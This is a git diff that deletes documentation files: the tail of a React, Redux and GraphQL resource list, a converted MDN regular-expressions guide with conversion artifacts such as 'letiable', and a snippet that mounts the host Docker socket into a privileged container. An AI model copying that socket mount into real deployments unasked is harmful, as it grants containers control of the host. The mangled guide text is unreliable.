--   [react-native-code-push](https://github.com/microsoft/react-native-code-push) - React Native module for CodePush
-
-**React Native Sample Apps**
-
--   [HackerNews](https://github.com/iSimar/HackerNews-React-Native)
--   [Ziliun](https://github.com/sonnylazuardi/ziliun-react-native)
--   [FinanceReactNative](https://github.com/7kfpun/FinanceReactNative)
--   [SplashWalls](https://github.com/nashvail/SplashWalls)
--   [NBAreact](https://github.com/jbkuczma/NBAreact)
--   [Bus Timetable](https://github.com/EarlGeorge/timetable)
-
-**React Native Boilerplates**
-
--   [Create React Native App](https://github.com/react-community/create-react-native-app) - Create React Native apps that run on iOS, Android, and web
--   [Ignite](https://github.com/infinitered/ignite) - The hottest CLI for React Native, boilerplates, plugins, generators, and more!
-
-**React Native Awesome Components**
-
--   [Expo](https://expo.io) - The Expo platform for making cross-platform mobile apps
--   [react-navigation](https://reactnavigation.org) - Routing and navigation for your React Native apps
--   [react-native-social-share](https://github.com/doefler/react-native-social-share) - Use the iOS and Android native Twitter and Facebook share popup with React Native
--   [react-native-fbsdk](https://github.com/facebook/react-native-fbsdk) - A wrapper around the iOS Facebook SDK
--   [react-native-side-menu](https://github.com/Kureev/react-native-side-menu) - Simple customizable component to create side menu
--   [react-native-mapbox-gl](https://github.com/mapbox/react-native-mapbox-gl) - A Mapbox GL react native module
--   [react-native-icons](https://github.com/corymsmith/react-native-icons) - Quick and easy icons in React Native
--   [react-native-vector-icons](https://github.com/oblador/react-native-vector-icons) - 3000 Customizable Icons for React Native with support for NavBar/TabBar
--   [react-native-google-signin](https://github.com/apptailor/react-native-google-signin) - Google Signin for React Native
--   [react-native-picker-modal-view](https://github.com/pankod/react-native-picker-modal-view)
--   [react-native-gifted-chat](https://github.com/FaridSafi/react-native-gifted-chat) - The most complete chat UI for React Native
--   [react-native-fast-image](https://github.com/DylanVann/react-native-fast-image) - FastImage, performant React Native image component
--   [recyclerlistview](https://github.com/Flipkart/recyclerlistview) - High performance listview for React Native and web!
--   [react-native-largelist](https://github.com/bolan9999/react-native-largelist) - The best large list component for React Native
--   [react-native-gesture-handler](https://github.com/software-mansion/react-native-gesture-handler) - Declarative API exposing platform native touch and gesture system to React Native
--   [rn-placeholder](https://github.com/mfrachet/rn-placeholder) - Display some placeholder stuff before rendering your text or media content in React Native
-
-**React Native Libraries**
-
--   [sentry-react-native](https://github.com/getsentry/sentry-react-native) - Real-time crash reporting for your web apps, mobile apps, and games.
--   [realm-js](https://github.com/realm/realm-js) - Realm is a mobile database: an alternative to SQLite & key-value stores
--   [react-native-device-info](https://github.com/react-native-community/react-native-device-info) - Device Information for React Native iOS and Android
--   [react-native-react-bridge](https://github.com/inokawa/react-native-react-bridge) - A toolset to run React web app in React Native and handle communication between them.
--   [uncompress-react-native](https://github.com/didisouzacosta/uncompress-react-native) - Simple library to decompress files .zip, .rar, .cbz, .cbr in React Native.
-
-### Redux
-
-Predictable State Container for JavaScript Apps
-
-**Redux General Resources**
-
--   [Redux GitHub](https://github.com/reduxjs/redux)
--   [Redux Official Site](http://redux.js.org)
--   [Awesome Redux List](https://github.com/xgrommx/awesome-redux)
-
-**Redux Tools**
-
--   [react-redux](https://github.com/reduxjs/react-redux) - Official React bindings for Redux
--   [redux-toolkit](https://github.com/reduxjs/redux-toolkit) - The official, opinionated, batteries-included toolset for efficient Redux development
--   [redux-devtools](https://github.com/reduxjs/redux-devtools) - DevTools for Redux with hot reloading, action replay, and customizable UI
--   [reselect](https://github.com/reduxjs/reselect) - Selector library for Redux
--   [redux-thunk](https://github.com/reduxjs/redux-thunk) - Thunk middleware for redux
--   [redux-saga](https://github.com/redux-saga/redux-saga) - An alternative side effect model for Redux apps
--   [connected-react-router](https://github.com/supasate/connected-react-router) - A Redux binding for React Router
--   [redux-form](https://github.com/erikras/redux-form) - A Higher Order Component using react-redux to keep form state
--   [normalizr](https://github.com/paularmstrong/normalizr) - Normalizes nested JSON according to a schema
--   [redux-observable](https://github.com/redux-observable/redux-observable) - RxJS middleware for Redux
--   [redux-undo](https://github.com/omnidan/redux-undo) - Higher order reducer to add undo/redo functionality to redux state containers
--   [redux-persist](https://github.com/rt2zz/redux-persist) - Persist and rehydrate a redux store
-
-**Redux Tutorials**
-
--   [Redux Essentials](https://redux.js.org/tutorials/essentials/part-1-overview-concepts)
--   [Redux Fundamentals](https://redux.js.org/tutorials/fundamentals/part-1-overview)
--   [Fundamentals of Redux Course from Dan Abramov](https://app.egghead.io/playlists/fundamentals-of-redux-course-from-dan-abramov-bd5cc867)
--   [Building React Applications with Idiomatic Redux](https://app.egghead.io/courses/building-react-applications-with-idiomatic-redux)
-
-### GraphQL
-
-A query language for your API
-
-**GraphQL General Resources**
-
--   [GraphQL Official Site](http://graphql.org)
--   [GraphQL Specification](https://github.com/graphql/graphql-spec)
--   [GraphQL Specification Repository](https://github.com/facebook/graphql)
-
-**GraphQL Tools**
-
--   [graphql-js](https://github.com/graphql/graphql-js) - A reference implementation of GraphQL for **JavaScript**
--   [express-graphql](https://github.com/graphql/express-graphql) - Create a GraphQL HTTP server with **Express**
--   [Apollo](https://www.apollographql.com) - Industry-standard GraphQL implementation
--   [GraphQL Playground - GraphQL IDE for better development workflows](https://github.com/graphql/graphql-playground)
-
-**GraphQL Tutorials**
-
--   [GraphQL Introduction](http://facebook.github.io/react/blog/2015/05/01/graphql-introduction.html)
--   [How to Graphql - The Fullstack Tutorial for GraphQL](https://howtographql.com)
-
-**GraphQL Implementations**
-
--   [graphql-ruby](https://github.com/rmosolgo/graphql-ruby) - **Ruby** implementation of GraphQL
--   [graphql-java](https://github.com/graphql-java/graphql-java) - GraphQL **Java** implementation
--   [sangria](https://github.com/sangria-graphql/sangria) - **Scala** GraphQL client and server library
--   [graphql-php](https://github.com/webonyx/graphql-php) - A **PHP** port of GraphQL reference implementation
--   [graphene](https://github.com/graphql-python/graphene) - GraphQL framework for **Python**
--   [graphql-dotnet](https://github.com/graphql-dotnet/graphql-dotnet) - GraphQL for **.NET**
--   [graphql-go](https://github.com/graphql-go/graphql) - GraphQL for **Go**
--   [juniper](https://github.com/graphql-rust/juniper) - GraphQL server library for **Rust**
-
-**Database Integration**
-
--   [Hasura](https://hasura.io) - Instant GraphQL for all your data
--   [Prisma](https://www.prisma.io) - Next-generation ORM
-
-    for Node.js and TypeScript
-
--   [graphql-sequelize](https://github.com/mickhansen/graphql-sequelize) - GraphQL & Relay for MySQL & Postgres via Sequelize
-
-### Relay
-
-Data-Driven React Applications
-
-**Relay General Resources**
-
--   [Relay Offical Site](https://relay.dev)
--   [Relay GitHub](https://github.com/facebook/relay)
-
-**Relay Tutorials**
-
--   [Official Relay Getting Started](https://facebook.github.io/relay/docs/en/introduction-to-relay.html)
--   [Relay for Visual Learners](http://sgwilym.github.io/relay-visual-learners/)
--   [Getting Started with Relay](https://auth0.com/blog/2015/10/06/getting-started-with-relay/)
--   [Relay and Routing](https://medium.com/@cpojer/relay-and-routing-36b5439bad9)
-
-**Relay Tools**
-
--   [graphql-relay-js](https://github.com/graphql/graphql-relay-js) - A library to help construct a graphql-js server supporting react-relay
--   [react-router-relay](https://github.com/relay-tools/react-router-relay) - Relay integration for React Router
--   [relay-local-schema](https://github.com/relay-tools/relay-local-schema) - Use Relay without a GraphQL server
--   [relay-codemod](https://github.com/facebook/jscodeshift) - Codemod scripts based for on jsodeshift to update Relay APIs
-
-### Videos
-
-**reactjsvideos.com**
-
-**Important Talks**
-
--   [Pete Hunt: React: Rethinking best practices - JSConf EU 2013](https://www.youtube.com/watch?v=x7cQ3mrcKaY)
--   [Pete Hunt: React: Rethinking Best Practices (updated) - JSConf.Asia 2013](https://www.youtube.com/watch?v=DgVS-zXgMTk)
--   [Tom Occhino and Jordan Walke: JS Apps at Facebook - JSConfUS 2013](https://www.youtube.com/watch?v=GW0rj4sNH2w)
--   [React: CSS in JS](http://blog.vjeux.com/2014/javascript/react-css-in-js-nationjs.html)
--   [Pete Hunt: Be Predictable, Not Correct - Mountain West JavaScript 2014](https://www.youtube.com/watch?v=h3KksH8gfcQ)
--   [Hacker Way: Rethinking Web App Development at Facebook](https://www.youtube.com/watch?v=nYkdrAPrdcw)
--   [Christopher Chedeau: Why does React Scale? - JSConf2014](https://www.youtube.com/watch?v=D-ioDiacTm8)
--   [Christopher Chedeau: React's Architecture - OSCON 2014](https://www.youtube.com/watch?v=eCf5CquV_Bw)
--   [Pete Hunt: React RESTful UI Rendering - Strange Loop 2014](https://www.youtube.com/watch?v=IVvHPPcl2TM)
--   [Pete Hunt: How Instagram.com Works - OSCON 2014](https://www.youtube.com/watch?v=VkTCL6Nqm6Y)
--   [Bill Fisher and Jing Chen: React and Flux - NewCircle Training 2014](https://www.youtube.com/watch?v=i__969noyAM)
--   [Sebastian Markbage: Minimal API Surface Area - JSConf EU 2014](https://www.youtube.com/watch?v=4anAwXYqLG8)
--   [Avik Chaudhuri: JavaScript Testing and Static Type Systems at Scale - Scale 2014](https://www.youtube.com/watch?v=M8x0bc81smU)
--   [React Native & Relay: Bringing Modern Web Techniques to Mobile - f8 2015)](https://www.youtube.com/watch?v=X6YbAKiLCLU)
--   [Citrusbyte Presents GraphQL: A Horizontal Platform with Nick Schrock](https://www.youtube.com/watch?v=LQFQl8EsV3k)
--   [Laney Kuenzel: Mutations and Subscriptions in Relay - JSConf 2015](https://www.youtube.com/watch?v=mmke4w4gc6c)
--   [React Today and Tomorrow and 90% Cleaner React With Hooks - React Conf 2018](https://www.youtube.com/watch?v=dpw9EHDh2bM)
--   [React Conferences](https://reactjs.org/community/conferences.html)
--   [React Videos](https://reactjs.org/community/videos.html)
--   [Awesome React Talks](https://github.com/tiaanduplessis/awesome-react-talks)
-
-**React.js Conf 2015 Playlist**
-
-**ReactEurope Conf 2015 Day 1 Playlist**
-
-**ReactEurope Conf 2015 Day 2 Playlist**
-
-**ReactRally Conf 2015 Playlist**
-
-**React.js Conf 2016 Playlist**
-
-**React Amsterdam 2016 Playlist**
-
-**ReactEurope Conf 2016 Day 1 Playlist**
-
-**ReactEurope Conf 2016 Day 2 Playlist**
-
-**ReactRally Conf 2016 Playlist**
-
-**React Conf 2017 Playlist**
-
-**React.js Amsterdam 2018 Playlist**
-
-**React Amsterdam 2019 Playlist**
-
-**Video Tutorials**
-
--   [Trying React Hooks for the first time with Dan Abramov](https://www.youtube.com/watch?v=G-aO5hzo1aw)
-
-### Demo React Apps
-
--   [hackernews-react-graphql](https://github.com/clintonwoo/hackernews-react-graphql) - Hacker News clone rewritten with universal JavaScript, using React and GraphQL
--   [react-reduction](https://github.com/reduction-admin/react-reduction) - Free Admin Template Built with React and Bootstrap4
--   [reactjs-tmdb-app](https://github.com/SKempin/reactjs-tmdb-app) - Responsive React The Movie Database App
--   [react-shopping-cart](https://github.com/jeffersonRibeiro/react-shopping-cart) - Simple ecommerce cart application built with React Redux
-
-### Real React Apps
-
--   [kibana](https://github.com/elastic/kibana) - Your window into the Elastic Stack
--   [firefox debugger](https://github.com/firefox-devtools/debugger) - The Firefox debugger that works anywhere
--   [spectrum](https://github.com/withspectrum/spectrum) - Simple, powerful online communities
--   [mattermost](https://github.com/mattermost/mattermost-webapp) - Open source Slack alternative
--   [overreacted](https://github.com/gaearon/overreacted.io) - Personal blog by Dan Abramov
--   [winamp2-js](https://github.com/captbaritone/winamp2-js) - Winamp 2 reimplemented for the browser
--   [dnote](https://github.com/dnote/dnote) - A command line notebook with multi-device sync and web interface
-
-</details>
diff --git a/docs/content/cheat-sheets/Regular_Expressions.md b/docs/content/cheat-sheets/Regular_Expressions.md
deleted file mode 100644
index c9c7bfe47f..0000000000
--- a/docs/content/cheat-sheets/Regular_Expressions.md
+++ /dev/null
@@ -1,552 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-description: |
-Regular expressions are patterns used to match character combinations in
-strings. In JavaScript, regular expressions are also objects. These
-patterns are used with the exec() and test() methods of RegExp, and with
-the match(), matchAll(), replace(), replaceAll(), search(), and split()
-methods of String. This chapter describes JavaScript regular
-expressions.
-
-Regular expressions are patterns used to match character combinations in
-strings. In JavaScript, regular expressions are also objects. These
-patterns are used with the exec() and test() methods of RegExp, and with
-the match(), matchAll(), replace(), replaceAll(), search(), and split()
-methods of String. This chapter describes JavaScript regular
-expressions.
-
----
-
-<!-- -->
-
-</div>
-
-Regular expressions are patterns used to match character combinations in
-strings. In JavaScript, regular expressions are also objects. These
-patterns are used with the
-[`exec()`](../Reference/Global_Objects/RegExp/exec.html)
-and [`test()`](../Reference/Global_Objects/RegExp/test.html) methods of
-[`RegExp`](../Reference/Global_Objects/RegExp.html), and with
-the [`match()`](../Reference/Global_Objects/String/match.html), [`matchAll()`](../Reference/Global_Objects/String/matchAll.html),
-[`replace()`](../Reference/Global_Objects/String/replace.html), [`replaceAll()`](../Reference/Global_Objects/String/replaceAll.html),
-[`search()`](../Reference/Global_Objects/String/search.html),
-and [`split()`](../Reference/Global_Objects/String/split.html) methods
-of [`String`](../Reference/Global_Objects/String.html). This chapter
-describes JavaScript regular expressions.
-
-## Creating a regular expression {#Creating_a_regular_expression}
-
-You construct a regular expression in one of two ways:
-
--   Using a regular expression literal, which consists of a pattern
-    enclosed between slashes, as follows:
-
-    ```{.brush: .js .notranslate}
-    let re = /ab+c/;
-    ```
-
-    Regular expression literals provide compilation of the regular
-    expression when the script is loaded. If the regular
-    expression remains constant, using this can improve performance.
-
--   Or calling the constructor function of the
-    [`RegExp`](../Reference/Global_Objects/RegExp.html) object, as
-    follows:
-
-    ```{.brush: .js .notranslate}
-    let re = new RegExp('ab+c');
-    ```
-
-    Using the constructor function provides runtime compilation of the
-    regular expression. Use the constructor function when you know the
-    regular expression pattern will be changing, or you don\'t know the
-    pattern and are getting it from another source, such as user input.
-
-## Writing a regular expression pattern {#Writing_a_regular_expression_pattern}
-
-A regular expression pattern is composed of simple characters, such as
-`/abc/`, or a combination of simple and special characters, such as
-`/ab*c/` or `/Chapter (\d+)\.\d*/`. The last example includes
-parentheses, which are used as a memory device. The match made with this
-part of the pattern is remembered for later use, as described in [Using
-groups](Regular_Expressions/Groups_and_Ranges.html#Using_groups).
-
-::: {.blockIndicator .note}
-**Note:** If you are already familiar with the forms of a regular
-expression, you may also read [the
-cheatsheet](Regular_Expressions/Cheatsheet.html) for a quick lookup for
-a specific pattern/construct.
-:::
-
-### Using simple patterns {#Using_simple_patterns}
-
-Simple patterns are constructed of characters for which you want to find
-a direct match. For example, the pattern `/abc/` matches character
-combinations in strings only when the exact sequence `"abc"` occurs (all
-characters together and in that order). Such a match would succeed in
-the strings `"Hi, do you know your abc's?"` and
-`"The latest airplane designs evolved from slabcraft."` In both cases
-the match is with the substring `"abc"`. There is no match in the string
-`"Grab crab"` because while it contains the substring `"ab c"`, it does
-not contain the exact substring `"abc"`.
-
-### Using special characters {#Using_special_characters}
-
-When the search for a match requires something more than a direct match,
-such as finding one or more b\'s, or finding white space, you can
-include special characters in the pattern. For example, to match _a
-single `"a"` followed by zero or more `"b"`s followed by `"c"`_, you\'d
-use the pattern `/ab*c/`: the `*` after `"b"` means \"0 or more
-occurrences of the preceding item.\" In the string `"cbbabbbbcdebc"`,
-this pattern will match the substring `"abbbbc"`.
-
-The following pages provide lists of the different special characters
-that fit into each category, along with descriptions and examples.
-
-[Assertions](Regular_Expressions/Assertions.html)
-: Assertions include boundaries, which indicate the beginnings and
-endings of lines and words, and other patterns indicating in some
-way that a match is possible (including look-ahead, look-behind, and
-conditional expressions).
-
-[Character classes](Regular_Expressions/Character_Classes.html)
-: Distinguish different types of characters. For example,
-distinguishing between letters and digits.
-
-[Groups and ranges](Regular_Expressions/Groups_and_Ranges.html)
-: Indicate groups and ranges of expression characters.
-
-[Quantifiers](Regular_Expressions/Quantifiers.html)
-: Indicate numbers of characters or expressions to match.
-
-[Unicode property escapes](Regular_Expressions/Unicode_Property_Escapes.html)
-: Distinguish based on unicode character properties, for example,
-upper- and lower-case letters, math symbols, and punctuation.
-
-If you want to look at all the special characters that can be used in
-regular expressions in a single table, see the following:
-
-```
-+-----------------------------------+-----------------------------------+
-| Characters / constructs           | Corresponding article             |
-+===================================+===================================+
-| `\`, `.`, `\cX`, `\d`, `\D`,      | [Character                        |
-| `\f`, `\n`, `\r`, `\s`, `\S`,     | classes](Regular_Expressions/Char |
-| `\t`, `\v`, `\w`, `\W`, `\0`,     | acter_Classes.html)               |
-| `\xhh`, `\uhhhh`, `\uhhhhh`,      |                                   |
-| `[\b]`                            |                                   |
-+-----------------------------------+-----------------------------------+
-| `^`, `$`, `x(?=y)`, `x(?!y)`,     | [Assertions](Regular_Expressions/ |
-| `(?<=y)x`, `(?<!y)x`, `\b`, `\B`  | Assertions.html)                  |
-+-----------------------------------+-----------------------------------+
-| `(x)`, `(?:x)`,                   | [Groups and                       |
-| `(?<Name>x)`, `x|y`, `[xyz]`,     | ranges](Regular_Expressions/Group |
-| `[^xyz]`, `\Number`               | s_and_Ranges.html)                |
-+-----------------------------------+-----------------------------------+
-| `*`, `+`, `?`, `x{n}`, `x{n,}`,   | [Quantifiers](Regular_Expressions |
-| `x{n,m}`                          | /Quantifiers.html)                |
-+-----------------------------------+-----------------------------------+
-| `\p{UnicodeProperty}`,            | [Unicode property                 |
-| `\P{UnicodeProperty}`             | escapes](Regular_Expressions/Unic |
-|                                   | ode_Property_Escapes.html)        |
-+-----------------------------------+-----------------------------------+
-
-```
-
-: Special characters in regular expressions.
-
-::: {.blockIndicator .note}
-**Note:** [A larger cheatsheet is also
-available](Regular_Expressions/Cheatsheet.html) (only aggregating parts
-of those individual articles).
-:::
-
-### Escaping {#Escaping}
-
-If you need to use any of the special characters literally (actually
-searching for a `"*"`, for instance), you must escape it by putting a
-backslash in front of it. For instance, to search for `"a"` followed by
-`"*"` followed by `"b"`, you\'d use `/a\*b/` --- the backslash
-\"escapes\" the `"*"`, making it literal instead of special.
-
-Similarly, if you\'re writing a regular expression literal and need to
-match a slash (\"/\"), you need to escape that (otherwise, it terminates
-the pattern). For instance, to search for the string \"/example/\"
-followed by one or more alphabetic characters, you\'d use
-`/\/example\/[a-z]+/i`---the backslashes before each slash make them
-literal.
-
-To match a literal backslash, you need to escape the backslash. For
-instance, to match the string \"C:\\\" where \"C\" can be any letter,
-you\'d use `/[A-Z]:\\/` --- the first backslash escapes the one after
-it, so the expression searches for a single literal backslash.
-
-If using the `RegExp` constructor with a string literal, remember that
-the backslash is an escape in string literals, so to use it in the
-regular expression, you need to escape it at the string literal
-level. `/a\*b/` and `new RegExp("a\\*b")` create the same expression,
-which searches for \"a\" followed by a literal \"\*\" followed by \"b\".
-
-If escape strings are not already part of your pattern you can add them
-using
-[`String.replace`](../Reference/Global_Objects/String/replace.html):
-
-```{.brush: .js .notranslate}
-function escapeRegExp(string) {
-  return string.replace(/[.*+\-?^${}()|[\]\\]/g, '\\$&'); // $& means the whole matched string
-}
-```
-
-The \"g\" after the regular expression is an option or flag that
-performs a global search, looking in the whole string and returning all
-matches. It is explained in detail below in [Advanced Searching With
-Flags](Regular_Expressions.html#Advanced_searching_with_flags).
-
-_Why isn\'t this built into JavaScript?_ There is a proposal to add such
-a function to RegExp, but it was [rejected by
-TC39.](../../../../../../external.html?link=https://github.com/benjamingr/RegExp.escape/issues/37){.external}
-
-### Using parentheses
-
-Parentheses around any part of the regular expression pattern causes
-that part of the matched substring to be remembered. Once remembered,
-the substring can be recalled for other use. See [Groups and
-ranges](Regular_Expressions/Groups_and_Ranges.html#Using_groups) for
-more details.
-
-## Using regular expressions in JavaScript {#Using_regular_expressions_in_JavaScript}
-
-Regular expressions are used with the `RegExp` methods `test()` and
-`exec()` and with the `String` methods `match()`, `replace()`,
-`search()`, and `split()`. These methods are explained in detail in the
-[JavaScript
-reference](../Reference.html 'en-US/docs/JavaScript/Reference').
-
-Method Description
-
----
-
-[`exec()`](../Reference/Global_Objects/RegExp/exec.html) Executes a search for a match in a string. It returns an array of information or `null` on a mismatch.
-[`test()`](../Reference/Global_Objects/RegExp/test.html) Tests for a match in a string. It returns `true` or `false`.
-[`match()`](../Reference/Global_Objects/String/match.html) Returns an array containing all of the matches, including capturing groups, or `null` if no match is found.
-[`matchAll()`](../Reference/Global_Objects/String/matchAll.html) Returns an iterator containing all of the matches, including capturing groups.
-[`search()`](../Reference/Global_Objects/String/search.html) Tests for a match in a string. It returns the index of the match, or `-1` if the search fails.
-[`replace()`](../Reference/Global_Objects/String/replace.html) Executes a search for a match in a string, and replaces the matched substring with a replacement substring.
-[`replaceAll()`](../Reference/Global_Objects/String/replaceAll.html) Executes a search for all matches in a string, and replaces the matched substrings with a replacement substring.
-[`split()`](../Reference/Global_Objects/String/split.html) Uses a regular expression or a fixed string to break a string into an array of substrings.
-
-: Methods that use regular expressions
-
-When you want to know whether a pattern is found in a string, use the
-`test()` or `search()` methods; for more information (but slower
-execution) use the `exec()` or `match()` methods. If you use `exec()` or
-`match()` and if the match succeeds, these methods return an array and
-update properties of the associated regular expression object and also
-of the predefined regular expression object, `RegExp`. If the match
-fails, the `exec()` method returns `null` (which coerces to `false`).
-
-In the following example, the script uses the `exec()` method to find a
-match in a string.
-
-```{.brush: .js .notranslate}
-let myRe = /d(b+)d/g;
-let myArray = myRe.exec('cdbbdbsbz');
-```
-
-If you do not need to access the properties of the regular expression,
-an alternative way of creating `myArray` is with this script:
-
-```{.brush: .js .notranslate}
-let myArray = /d(b+)d/g.exec('cdbbdbsbz');
-    // similar to "cdbbdbsbz".match(/d(b+)d/g); however,
-    // "cdbbdbsbz".match(/d(b+)d/g) outputs Array [ "dbbd" ], while
-    // /d(b+)d/g.exec('cdbbdbsbz') outputs Array [ 'dbbd', 'bb', index: 1, input: 'cdbbdbsbz' ].
-```
-
-(See [different behaviors](#g-different-behaviors) for further info
-about the different behaviors.)
-
-If you want to construct the regular expression from a string, yet
-another alternative is this script:
-
-```{.brush: .js .notranslate}
-let myRe = new RegExp('d(b+)d', 'g');
-let myArray = myRe.exec('cdbbdbsbz');
-```
-
-With these scripts, the match succeeds and returns the array and updates
-the properties shown in the following table.
-
-Results of regular expression execution.
-
-Object
-:::
-:::
-:::
-:::
-
-Property or index
-
-Description
-
-In this example
-
-`myArray`
-
-The matched string and all remembered substrings.
-
-`['dbbd', 'bb', index: 1, input: 'cdbbdbsbz']`
-
-`index`
-
-The 0-based index of the match in the input string.
-
-`1`
-
-`input`
-
-The original string.
-
-`'cdbbdbsbz'`
-
-`[0]`
-
-The last matched characters.
-
-`'dbbd'`
-
-`myRe`
-
-`lastIndex`
-
-The index at which to start the next match. (This property is set only
-if the regular expression uses the g option, described in [Advanced
-Searching With Flags](#Advanced_searching_with_flags).)
-
-`5`
-
-`source`
-
-The text of the pattern. Updated at the time that the regular expression
-is created, not executed.
-
-`'d(b+)d'`
-
-As shown in the second form of this example, you can use a regular
-expression created with an object initializer without assigning it to a
-letiable. If you do, however, every occurrence is a new regular
-expression. For this reason, if you use this form without assigning it
-to a letiable, you cannot subsequently access the properties of that
-regular expression. For example, assume you have this script:
-
-```{.brush: .js .notranslate}
-let myRe = /d(b+)d/g;
-let myArray = myRe.exec('cdbbdbsbz');
-console.log('The value of lastIndex is ' + myRe.lastIndex);
-
-// "The value of lastIndex is 5"
-```
-
-However, if you have this script:
-
-```{.brush: .js .notranslate}
-let myArray = /d(b+)d/g.exec('cdbbdbsbz');
-console.log('The value of lastIndex is ' + /d(b+)d/g.lastIndex);
-
-// "The value of lastIndex is 0"
-```
-
-The occurrences of `/d(b+)d/g` in the two statements are different
-regular expression objects and hence have different values for their
-`lastIndex` property. If you need to access the properties of a regular
-expression created with an object initializer, you should first assign
-it to a letiable.
-
-### [Advanced searching with flags]
-
-Regular expressions have six optional flags that allow for functionality
-like global and case insensitive searching. These flags can be used
-separately or together in any order, and are included as part of the
-regular expression.
-
-Flag Description Corresponding property
-
----
-
-`g` Global search. `RegExp.prototype.global`
-`i` Case-insensitive search. `RegExp.prototype.ignoreCase`
-`m` Multi-line search. `RegExp.prototype.multiline`
-`s` Allows `.` to match newline characters. `RegExp.prototype.dotAll`
-`u` \"unicode\"; treat a pattern as a sequence of unicode code points. `RegExp.prototype.unicode`
-`y` Perform a \"sticky\" search that matches starting at the current position in the target string. See [`sticky`](../Reference/Global_Objects/RegExp/sticky.html). `RegExp.prototype.sticky`
-
-: Regular expression flags
-
-To include a flag with the regular expression, use this syntax:
-
-```{.brush: .js .notranslate}
-let re = /pattern/flags;
-```
-
-or
-
-```{.brush: .js .notranslate}
-let re = new RegExp('pattern', 'flags');
-```
-
-Note that the flags are an integral part of a regular expression. They
-cannot be added or removed later.
-
-For example, `re = /\w+\s/g` creates a regular expression that looks for
-one or more characters followed by a space, and it looks for this
-combination throughout the string.
-
-```{.brush: .js .notranslate}
-let re = /\w+\s/g;
-let str = 'fee fi fo fum';
-let myArray = str.match(re);
-console.log(myArray);
-
-// ["fee ", "fi ", "fo "]
-```
-
-You could replace the line:
-
-```{.brush: .js .notranslate}
-let re = /\w+\s/g;
-```
-
-with:
-
-```{.brush: .js .notranslate}
-let re = new RegExp('\\w+\\s', 'g');
-```
-
-and get the same result.
-
-The behavior associated with the `g` flag is different when the
-`.exec()` method is used. The roles of \"class\" and \"argument\" get
-reversed: In the case of `.match()`, the string class (or data type)
-owns the method and the regular expression is just an argument, while in
-the case of `.exec()`, it is the regular expression that owns the
-method, with the string being the argument. Contrast this
-_`str.match(re)`_ versus _`re.exec(str)`_. The `g` flag is used with
-the **`.exec()`** method to get iterative progression.
-
-```{.brush: .js .notranslate}
-let xArray; while(xArray = re.exec(str)) console.log(xArray);
-// produces:
-// ["fee ", index: 0, input: "fee fi fo fum"]
-// ["fi ", index: 4, input: "fee fi fo fum"]
-// ["fo ", index: 7, input: "fee fi fo fum"]
-```
-
-The `m` flag is used to specify that a multiline input string should be
-treated as multiple lines. If the `m` flag is used, `^` and `$` match at
-the start or end of any line within the input string instead of the
-start or end of the entire string.
-
-## Examples
-
-::: {.blockIndicator .note}
-**Note:** Several examples are also available in:
-
--   The reference pages for
-    [`exec()`](../Reference/Global_Objects/RegExp/exec.html),
-    [`test()`](../Reference/Global_Objects/RegExp/test.html),
-    [`match()`](../Reference/Global_Objects/String/match.html),
-    [`matchAll()`](../Reference/Global_Objects/String/matchAll.html),
-    [`search()`](../Reference/Global_Objects/String/search.html),
-    [`replace()`](../Reference/Global_Objects/String/replace.html),
-    [`split()`](../Reference/Global_Objects/String/split.html)
--   This guide articles\': [character
-    classes](Regular_Expressions/Character_Classes.html),
-    [assertions](Regular_Expressions/Assertions.html), [groups and
-    ranges](Regular_Expressions/Groups_and_Ranges.html),
-    [quantifiers](Regular_Expressions/Quantifiers.html), [Unicode
-    property escapes](Regular_Expressions/Unicode_Property_Escapes.html)
-    :::
-
-### Using special characters to verify input {#Using_special_characters_to_verify_input}
-
-In the following example, the user is expected to enter a phone number.
-When the user presses the \"Check\" button, the script checks the
-validity of the number. If the number is valid (matches the character
-sequence specified by the regular expression), the script shows a
-message thanking the user and confirming the number. If the number is
-invalid, the script informs the user that the phone number is not valid.
-
-Within non-capturing parentheses `(?:` , the regular expression looks
-for three numeric characters `\d{3}` OR `|` a left parenthesis `\(`
-followed by three digits` \d{3}`, followed by a close parenthesis `\)`,
-(end non-capturing parenthesis `)`), followed by one dash, forward
-slash, or decimal point and when found, remember the character
-`([-\/\.])`, followed by three digits `\d{3}`, followed by the
-remembered match of a dash, forward slash, or decimal point `\1`,
-followed by four digits `\d{4}`.
-
-The `Change` event activated when the user presses Enter sets the value
-of `RegExp.input`.
-
-#### HTML {#HTML}
-
-```{.brush: .html .notranslate}
-<p>
-  Enter your phone number (with area code) and then click "Check".
-  <br>
-  The expected format is like ###-###-####.
-</p>
-<form action="#">
-  <input id="phone">
-    <button onclick="testInfo(document.getElementById('phone'));">Check</button>
-</form>
-```
-
-#### JavaScript
-
-```js
-let re = /(?:\d{3}|\(\d{3}\))([-\/\.])\d{3}\1\d{4}/;
-function testInfo(phoneInput) {
-    let OK = re.exec(phoneInput.value);
-    if (!OK) {
-        console.error(phoneInput.value + " isn't a phone number with area code!");
-    } else {
-        console.log('Thanks, your phone number is ' + OK[0]);
-    }
-}
-```
-
-#### Result {#Result}
-
-<div>
-
-## Tools {#Tools}
-
-[RegExr](../../../../../../external.html?link=https://regexr.com/){.external}
-: An online tool to learn, build, & test Regular Expressions.
-
-[Regex tester](../../../../../../external.html?link=https://regex101.com/){.external}
-: An online regex builder/debugger
-
-[Regex visualizer](../../../../../../external.html?link=https://extendsclass.com/regex-tester.html){.external}
-: An online visual regex tester.
-
-## Specifications {#Specifications}
-
----
diff --git a/docs/content/cheat-sheets/SNIPPETS.md b/docs/content/cheat-sheets/SNIPPETS.md
deleted file mode 100644
index 7715ab6984..0000000000
--- a/docs/content/cheat-sheets/SNIPPETS.md
+++ /dev/null
@@ -1,18 +0,0 @@
-Mounting a Docker Socket:
-
-```
-      - image: docker:stable-dind
-        name: docker-in-docker
-        volumeMounts:
-          - name: dockersock
-            mountPath: "/var/run"
-            #mountPath: "/var/run/docker.sock"
-        securityContext:
-          privileged: true
-          allowPrivilegeEscalation: true
-      volumes:
-      - name: dockersock
-        hostPath:
-          path: /var/run/docker.sock
-          #type: File
-```
diff --git a/docs/content/cheat-sheets/SUMMARY.md b/docs/content/cheat-sheets/SUMMARY.md
deleted file mode 100644
index 64f2c05f07..0000000000
--- a/docs/content/cheat-sheets/SUMMARY.md
+++ /dev/null
@@ -1,171 +0,0 @@
-# Table of contents
-
